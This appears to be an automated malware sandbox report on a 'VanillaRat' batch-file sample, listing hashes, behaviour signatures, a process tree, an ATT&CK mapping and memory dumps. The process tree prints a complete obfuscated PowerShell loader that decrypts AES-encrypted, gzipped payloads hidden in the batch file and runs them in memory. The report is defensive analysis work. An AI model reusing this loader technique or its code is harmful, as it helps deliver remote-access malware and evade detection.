e590d9d061fc38da277121abaf50c5d2432fe4cab8eb4fc347687d04c188f34b

General

Target

VanillaRat/Start.bat
Size

3KB
MD5

78d817fe7349683c207f17c0b4774484
SHA1

9dc66330a6aef8e8678b45ac3fa79091f2f50ccc
SHA256

b7ddf09d72ad1671da5c5ad5bf0e5d22ac6f4fee8cedd04f188a9e109e8b86f6
SHA512

77e0bdc2d0faa24d4f4ff42059f8b002b7214300fd7f44b07d76fb042b111a1ad85e2b32e1032942aaf29bed11efe17a73e623cafd777ec21e603118e70d2699

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

HandlerInstaller.bat.exe

pid process

2332 HandlerInstaller.bat.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

2620 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

VanillaRat.exe

pid process

1452 VanillaRat.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeHandlerInstaller.bat.exe

pid process

1676 powershell.exe
1676 powershell.exe
1676 powershell.exe
2332 HandlerInstaller.bat.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

VanillaRat.exe

pid process

1452 VanillaRat.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeHandlerInstaller.bat.exe

description pid process

Token: SeDebugPrivilege 1676 powershell.exe
Token: SeDebugPrivilege 2332 HandlerInstaller.bat.exe

pid	process
2332	HandlerInstaller.bat.exe

pid	process
2620	cmd.exe

pid	process
1452	VanillaRat.exe

pid	process
1676	powershell.exe
1676	powershell.exe
1676	powershell.exe
2332	HandlerInstaller.bat.exe

pid	process
1452	VanillaRat.exe

description	pid	process
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	2332	HandlerInstaller.bat.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.exepowershell.execmd.exe

description	pid	process	target process
PID 1720 wrote to memory of 1452	1720	cmd.exe	VanillaRat.exe
PID 1720 wrote to memory of 1452	1720	cmd.exe	VanillaRat.exe
PID 1720 wrote to memory of 1452	1720	cmd.exe	VanillaRat.exe
PID 1720 wrote to memory of 1452	1720	cmd.exe	VanillaRat.exe
PID 1720 wrote to memory of 1676	1720	cmd.exe	powershell.exe
PID 1720 wrote to memory of 1676	1720	cmd.exe	powershell.exe
PID 1720 wrote to memory of 1676	1720	cmd.exe	powershell.exe
PID 1676 wrote to memory of 2620	1676	powershell.exe	cmd.exe
PID 1676 wrote to memory of 2620	1676	powershell.exe	cmd.exe
PID 1676 wrote to memory of 2620	1676	powershell.exe	cmd.exe
PID 1676 wrote to memory of 2620	1676	powershell.exe	cmd.exe
PID 1676 wrote to memory of 2620	1676	powershell.exe	cmd.exe
PID 2620 wrote to memory of 2332	2620	cmd.exe	HandlerInstaller.bat.exe
PID 2620 wrote to memory of 2332	2620	cmd.exe	HandlerInstaller.bat.exe
PID 2620 wrote to memory of 2332	2620	cmd.exe	HandlerInstaller.bat.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\VanillaRat\Start.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1720

C:\Users\Admin\AppData\Local\Temp\VanillaRat\Main\VanillaRat.exe
Main\\VanillaRat.exe
2⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: GetForegroundWindowSpam
PID:1452

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -command "& {Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\VanillaRat\\\Handlers\\HandlerInstaller.bat' -WindowStyle Hidden -Wait}"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat" "
3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2620

C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exe
"HandlerInstaller.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function VROas($YFEKm){ $EnJnq=[System.Security.Cryptography.Aes]::Create(); $EnJnq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $EnJnq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $EnJnq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+mgHoM3Dd8LE9FhelB1+E49NCwweh3qyJF1GxhCe+k0='); $EnJnq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wwm30jhzkHC4/5SnlEDZGA=='); $pWYkp=$EnJnq.CreateDecryptor(); $return_var=$pWYkp.TransformFinalBlock($YFEKm, 0, $YFEKm.Length); $pWYkp.Dispose(); $EnJnq.Dispose(); $return_var;}function XcsVC($YFEKm){ $zQqyq=New-Object System.IO.MemoryStream(,$YFEKm); $emglC=New-Object System.IO.MemoryStream; $RGlqr=New-Object System.IO.Compression.GZipStream($zQqyq, [IO.Compression.CompressionMode]::Decompress); $RGlqr.CopyTo($emglC); $RGlqr.Dispose(); $zQqyq.Dispose(); $emglC.Dispose(); $emglC.ToArray();}function dnTmn($YFEKm,$CaEDQ){ $NmIfY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$YFEKm); $bqkrl=$NmIfY.EntryPoint; $bqkrl.Invoke($null, $CaEDQ);}$lpRaC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat').Split([Environment]::NewLine);foreach ($aneut in $lpRaC) { if ($aneut.StartsWith('SEROXEN')) { $zZPSp=$aneut.Substring(7); break; }}$jGZnr=[string[]]$zZPSp.Split('\');$yHwYZ=XcsVC (VROas ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jGZnr[0])));$QcHAi=XcsVC (VROas ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jGZnr[1])));dnTmn $QcHAi (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dnTmn $yHwYZ (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2332

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exe
Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exe
Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1452-13-0x0000000005110000-0x00000000051F0000-memory.dmp

Filesize
896KB

Download
memory/1452-19-0x0000000004CF0000-0x0000000004D30000-memory.dmp

Filesize
256KB

Download
memory/1452-8-0x0000000000330000-0x00000000004F8000-memory.dmp

Filesize
1.8MB

Download
memory/1452-9-0x00000000749F0000-0x00000000750DE000-memory.dmp

Filesize
6.9MB

Download
memory/1452-18-0x00000000749F0000-0x00000000750DE000-memory.dmp

Filesize
6.9MB

Download
memory/1452-14-0x0000000004CF0000-0x0000000004D30000-memory.dmp

Filesize
256KB

Download
memory/1452-12-0x0000000004CF0000-0x0000000004D30000-memory.dmp

Filesize
256KB

Download
memory/1676-16-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/1676-32-0x000007FEF5AB0000-0x000007FEF644D000-memory.dmp

Filesize
9.6MB

Download
memory/1676-15-0x000007FEF5AB0000-0x000007FEF644D000-memory.dmp

Filesize
9.6MB

Download
memory/1676-4-0x000000001B280000-0x000000001B562000-memory.dmp

Filesize
2.9MB

Download
memory/1676-17-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/1676-10-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/1676-7-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/1676-6-0x000007FEF5AB0000-0x000007FEF644D000-memory.dmp

Filesize
9.6MB

Download
memory/1676-5-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/1676-11-0x000007FEF5AB0000-0x000007FEF644D000-memory.dmp

Filesize
9.6MB

Download
memory/2332-25-0x000007FEF5AB0000-0x000007FEF644D000-memory.dmp

Filesize
9.6MB

Download
memory/2332-28-0x0000000002420000-0x00000000024A0000-memory.dmp

Filesize
512KB

Download
memory/2332-27-0x0000000002420000-0x00000000024A0000-memory.dmp

Filesize
512KB

Download
memory/2332-29-0x000007FEF5AB0000-0x000007FEF644D000-memory.dmp

Filesize
9.6MB

Download
memory/2332-30-0x0000000002420000-0x00000000024A0000-memory.dmp

Filesize
512KB

Download
memory/2332-31-0x000007FEF5AB0000-0x000007FEF644D000-memory.dmp

Filesize
9.6MB

Download
memory/2332-26-0x0000000002420000-0x00000000024A0000-memory.dmp

Filesize
512KB

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Analysis

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